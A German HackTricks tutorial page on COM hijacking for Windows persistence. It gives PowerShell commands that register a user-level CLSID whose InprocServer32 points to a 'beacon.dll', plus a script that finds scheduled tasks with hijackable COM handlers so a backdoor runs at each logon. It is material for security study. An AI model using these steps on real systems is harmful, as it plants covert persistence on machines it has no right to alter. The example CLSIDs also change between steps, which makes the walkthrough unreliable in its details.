5.6 KiB
COM Hijacking
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Suche nach nicht existierenden COM-Komponenten
Da die Werte von HKCU von den Benutzern geändert werden können, könnte COM Hijacking als persistente Mechanismen verwendet werden. Mit procmon
ist es einfach, nach COM-Registrierungen zu suchen, die nicht existieren und die ein Angreifer erstellen könnte, um persistiert zu werden. Filter:
- RegOpenKey-Operationen.
- wo das Ergebnis NAME NOT FOUND ist.
- und der Pfad mit InprocServer32 endet.
Sobald Sie entschieden haben, welche nicht existierende COM Sie impersonieren möchten, führen Sie die folgenden Befehle aus. Seien Sie vorsichtig, wenn Sie sich entscheiden, eine COM zu impersonieren, die alle paar Sekunden geladen wird, da dies übertrieben sein könnte.
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Hijackbare Task Scheduler COM-Komponenten
Windows-Aufgaben verwenden benutzerdefinierte Trigger, um COM-Objekte aufzurufen, und da sie über den Task Scheduler ausgeführt werden, ist es einfacher vorherzusagen, wann sie ausgelöst werden.
# Zeige COM CLSIDs
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Aufgabenname: " $Task.TaskName
Write-Host "Aufgabenpfad: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
# Beispielausgabe:
# Aufgabenname: Beispiel
# Aufgabenpfad: \Microsoft\Windows\Beispiel\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [mehr wie der vorherige...]
Wenn Sie die Ausgabe überprüfen, können Sie eine auswählen, die jedes Mal ausgeführt wird, wenn sich ein Benutzer anmeldet.
Jetzt suchen Sie nach der CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} in HKEY_CLASSES_ROOT\CLSID und in HKLM und HKCU, normalerweise werden Sie feststellen, dass der Wert in HKCU nicht existiert.
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\some.dll
ThreadingModel : Both
# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Dann können Sie einfach den HKCU-Eintrag erstellen, und jedes Mal, wenn der Benutzer sich anmeldet, wird Ihr Backdoor aktiviert.
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.